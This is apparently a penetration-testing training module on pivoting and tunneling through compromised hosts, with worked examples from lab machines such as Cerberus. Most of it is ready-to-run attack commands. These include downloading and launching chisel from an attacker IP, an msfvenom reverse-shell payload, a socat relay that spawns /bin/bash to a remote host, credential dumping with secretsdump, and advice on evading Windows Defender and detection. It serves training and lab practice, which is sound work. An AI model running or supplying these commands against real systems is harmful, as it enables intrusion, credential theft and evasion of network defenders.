Back to All Modules

Pivoting and Tunneling

#Overview

Pivoting uses a compromised host as a gateway to reach otherwise inaccessible internal networks. Tunneling encapsulates traffic from your attack tools through the compromised host so you can interact with internal services directly from your attack machine. This is essential when the initial foothold is on a dual-homed host or a Docker container with access to an internal network.

#Prerequisites

  • Shell access to a compromised host with access to target network segments
  • Tools: SSH client, chisel, ligolo-ng, socat, proxychains, plink (Windows)
  • Attacker machine: listener for tunnel callbacks

#Detection & Enumeration

Identify internal network segments:

# Linux
ip a | grep inet       # All interfaces
route -n               # Routing table
arp -a                 # ARP cache (hosts recently communicated with)
cat /etc/hosts         # Static hostname entries
ss -tlnp               # Listening services (may include internal-only)

# Windows
ipconfig /all          # Check for multiple interfaces
route print            # Routing table
arp -a                 # ARP cache
netstat -ano           # Connections and listeners
BASH

#Exploitation / Execution

#SSH Dynamic Forwarding (SOCKS Proxy)

Creates a SOCKS proxy on the attacker machine, routing all proxychains traffic through the SSH connection:

# -D 1080: Opens SOCKS proxy on localhost:1080
# -N: No remote command execution
# -f: Background after authentication
ssh -D 1080 -N -f user@target.htb

# Configure proxychains
# Edit /etc/proxychains4.conf:
# socks4 127.0.0.1 1080

# Use proxychains with any tool
proxychains nmap -sT -p 80,443,8080 172.16.22.1
proxychains evil-winrm -i 172.16.22.1 -u admin -p password
proxychains impacket-secretsdump domain/user:password@172.16.22.1
BASH

#SSH Local Forwarding (Single Port)

Forwards a specific local port to a remote destination via the SSH host:

# -L localport:remotehost:remoteport
# Access 172.16.22.1:1433 (MSSQL) via localhost:1433
ssh -L 1433:172.16.22.1:1433 user@target.htb

# Now connect locally:
impacket-mssqlclient sa:password@127.0.0.1
BASH

#SSH Remote Forwarding (Reverse Tunnel)

Forwards a port from the SSH server back to you:

# -R remoteport:localhost:localport
# Makes your local port 4444 available on the SSH server at port 4444
ssh -R 4444:127.0.0.1:4444 user@target.htb
BASH

#Chisel (Lightweight Tunnel Over HTTP)

Chisel is a fast TCP/UDP tunnel over HTTP. Excellent when SSH is unavailable or filtered.

Reverse SOCKS proxy (target initiates connection):

# On attack box (server mode):
./chisel server --socks5 -p 6666 --reverse

# On target (client mode, reverse SOCKS on server port 8888):
.\chisel.exe client 10.10.14.5:6666 R:8888:socks

# Now configure proxychains:
# socks5 127.0.0.1 8888
BASH

Individual port forwarding:

# On attack box:
./chisel server -p 6666 --reverse

# On target (forward remote port 80 to attacker's localhost:8080):
./chisel client 10.10.14.5:6666 R:8080:127.0.0.1:80
BASH

Real example from Cerberus: Chisel reverse SOCKS proxy on port 8888 forwarded WinRM (port 5985) traffic to 172.16.22.1:

iwr('http://10.10.14.7:8000/chisel.exe') -outfile chisel.exe
start-process -filepath .\chisel.exe -args "client 10.10.14.7:6666 R:8888:socks"
POWERSHELL

#Ligolo-ng (Modern Tunneling with TUN Interface)

Ligolo-ng creates a TUN interface on the attacker machine, giving full Layer 3 access to the internal network (not just proxychains).

# On attack box:
sudo ip tuntap add user root mode tun ligolo
sudo ip link set ligolo up
sudo ip route add 172.16.22.0/24 dev ligolo   # Route target network through tunnel
./ligolo-proxy -selfcert

# On target:
./ligolo-agent -connect 10.10.14.5:11601 -ignore-cert

# In ligolo-ng interface:
session                      # Select the session
start                        # Start tunneling
# Now use any tool directly against 172.16.22.1 without proxychains
BASH

#Socat Port Forwarding

# Simple port forward on Linux target
socat TCP-LISTEN:8080,fork TCP:10.0.0.5:80 &

# Reverse shell relay (target can't reach you but can reach a web server):
# On web server:
socat TCP-LISTEN:4444,fork TCP:10.10.14.5:4444 &
# On target:
socat TCP:10.0.0.5:4444 EXEC:/bin/bash,pty,stderr,setsid,sigint,sane
BASH

#Plink (Windows PuTTY Port Forwarding)

rem plink.exe from PuTTY suite for port forwarding on Windows
plink.exe -l user -pw password -R 8888:127.0.0.1:80 10.10.14.5

rem With an SSH key:
plink.exe -l user -i key.ppk -R 8888:127.0.0.1:80 10.10.14.5
CMD

#Netsh Port Forwarding (Windows Native)

rem No external tool needed; uses Windows built-in netsh
rem Forward incoming traffic on localhost:8080 to 172.16.22.1:80
netsh interface portproxy add v4tov4 listenport=8080 listenaddress=0.0.0.0 connectport=80 connectaddress=172.16.22.1

rem View current port proxies
netsh interface portproxy show all

rem Remove forwarding
netsh interface portproxy delete v4tov4 listenport=8080 listenaddress=0.0.0.0
CMD

#Proxychains Configuration

# /etc/proxychains4.conf - essential settings:

# Proxy type options: socks4, socks5, http, https
# For chisel/SSH SOCKS proxies:
[ProxyList]
socks5 127.0.0.1 8888

# For Metasploit SOCKS proxy:
socks5 127.0.0.1 9999

# Important proxychains limitations:
# - Nmap SYN scan (-sS) requires raw sockets, DOES NOT work with proxychains
# - Use -sT (TCP connect scan) instead
# - Add -Pn to skip host discovery
proxychains nmap -sT -Pn -p 80,443,445,3389,5985 172.16.22.1

# Quiet mode (suppress proxychains debug output):
proxychains4 -q nmap -sT -Pn -p 1-1000 172.16.22.1
BASH

#Metasploit Pivoting

# In msfconsole, with an active Meterpreter session:
use multi/manage/autoroute
set CMD add
set SESSION 1
set SUBNET 172.16.22.0
set NETMASK 255.255.255.0
run

# Start SOCKS proxy to route tools through Metasploit
use auxiliary/server/socks_proxy
set SRVPORT 9999
set VERSION 5
run -j

# Now proxychains through 127.0.0.1:9999

# Meterpreter also supports port forwarding:
# In meterpreter session:
portfwd add -L 127.0.0.1 -l 4444 -p 3389 -r 172.16.22.1  # RDP forward
portfwd list
BASH

Real example from Cerberus:

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.14.46 LPORT=10002 -f elf -o shell
# Upload shell to container, execute, get Meterpreter session
# In msfconsole:
use multi/manage/autoroute
set cmd add; set session 1; set subnet 172.16.22.1; set netmask 255.255.255.255; run
use auxiliary/server/socks_proxy
set srvport 9999; run -j
proxychains evil-winrm -i 172.16.22.1 -u matthew -p 147258369
BASH

#Double Pivoting (Chaining Tunnels)

When you need to pivot through multiple hosts:

# Host A (initial foothold): SSH SOCKS proxy on port 1080
# Host B (second pivot): Second SSH SOCKS through Host A's tunnel
proxychains ssh -D 1081 -N -f user@hostB_internal_ip

# Now configure proxychains with chain:
# /etc/proxychains4.conf
[ProxyList]
socks5 127.0.0.1 1081  # Direct to second proxy
# But second proxy is only reachable through first proxy...
# Solution: Use SSH ProxyJump:
ssh -J user@hostA user@hostB -D 1081
BASH

#Ligolo-ng Docker Deployment

# Ligolo-ng — Modern tunneling tool (2024+ standard, replaces chisel for most use cases)
# Proxy (attacker):
docker run -it --rm -p 11601:11601 -p 8080:8080 nicocha30/ligolo-ng-proxy
# OR manual: ./proxy -selfcert
# Agent (target): 
./agent -connect 10.10.14.5:11601 -ignore-cert
# On proxy: session → select session → ifconfig → start tunnel
# Self-signed cert: use -selfcert on proxy, -ignore-cert on agent
BASH

#Chisel with Authentication and TLS

# Chisel with authentication and encryption
./chisel server -p 6666 --reverse --auth user:pass --tls  # Server with auth + TLS
./chisel client --auth user:pass https://10.10.14.5:6666 R:8888:socks  # Client
BASH

#SSH Tunneling Quick Reference

# SSH tunneling (most reliable, built-in)
ssh -L 8080:127.0.0.1:80 user@pivot          # Local port forward
ssh -R 8080:127.0.0.1:80 user@pivot          # Remote port forward
ssh -D 1080 user@pivot                        # Dynamic/SOCKS proxy
ssh -J user@pivot1,user@pivot2 user@target   # ProxyJump (multi-hop)
BASH

#proxychains4 Configuration

# proxychains4 configuration (/etc/proxychains4.conf)
# strict_chain    — all proxies must work (fail if any down)
# dynamic_chain   — skip dead proxies (more resilient)
# random_chain    — random proxy selection (OPSEC)
# Quiet mode: proxychains4 -q <command>
BASH

#Additional Tunneling Methods

# socat TCP relay:
socat TCP-LISTEN:8080,fork TCP:10.10.10.10:80

# Windows netsh port proxy:
netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=8080 connectaddress=10.10.10.10 connectport=80

# dnscat2 — DNS tunneling (when only DNS outbound is allowed):
ruby dnscat2.rb domain.com --secret=secretkey
# On target: dnscat2 --host 10.10.14.5 --secret secretkey

# httptunnel — HTTP tunneling:
hts -F 8888 10.10.10.10:80    # Server
htc -F 8080 10.10.14.5:8888   # Client
BASH

#Additional OPSEC Notes

# OPSEC: Chisel over plain HTTP is inspectable by network security devices — use --tls
# OPSEC: Ligolo-ng self-signed certs (--selfcert) are visible but traffic is encrypted
# OPSEC: netsh portproxy creates Event ID 5156/5158 (Windows Filtering Platform)
# OPSEC: SSH connections generate Event ID 4624 Type 3 (network logon)
TEXT

#Common Pitfalls

  • Nmap SYN scan fails through SOCKS -- raw sockets are not proxied. Use -sT (TCP connect).
  • Proxychains adds significant latency -- use timeouts and be patient with scans.
  • Chisel requires the exact server version on both sides -- match the binaries.
  • SSH tunnels die when the shell times out -- use autossh or -o ServerAliveInterval=60.
  • Metasploit autoroute only works with Meterpreter sessions -- not with standard shells.
  • Double-check proxy port in proxychains4.conf -- a wrong port silently fails.
  • Windows Defender may flag chisel.exe, ligolo-agent.exe -- rename, obfuscate, or self-compile.

#OPSEC Considerations

  • SSH tunnels on port 22 are normal traffic -- low detection risk.
  • Chisel tunnels over HTTP on non-standard ports may be flagged by DLP or network monitoring.
  • Netsh portproxy is a LOLBIN (Living Off the Land Binary) -- low signature but event log entry created (event ID 5156/5158).
  • Metasploit SOCKS proxy traffic is signature-detectable by some NIDS.
  • Encrypted tunnels (SSH, HTTPS-based chisel) are harder to inspect than plaintext tunnels.
  • Ligolo-ng uses custom protocol -- may stand out in network analysis.

#Post-Exploitation Value

Pivoting transforms a single compromised host into a beachhead for the entire internal network. It enables: attacking previously inaccessible services, lateral movement via WinRM/SSH/RDP to internal hosts, DNS and LDAP queries against domain controllers, SMB enumeration of file shares, credential spraying across the internal subnet, and exploitation of services not exposed to the internet.

#Cross-References

#Tool References

ToolLink
Chiselhttps://github.com/jpillora/chisel
Ligolo-nghttps://github.com/nicocha30/ligolo-ng
socatapt install socat
proxychains4apt install proxychains4
Plinkhttps://www.chiark.greenend.org.uk/~sgtatham/putty/latest.html

#Source Machines

  • Cerberus (Hard, Linux) - Chisel + Metasploit autoroute dual-pivot to access internal WinRM
  • Cereal (Hard, Windows) - SSH local forwarding to access GraphQL on localhost:8080
  • Monitored (Medium, Linux) - SSH tunnels for service access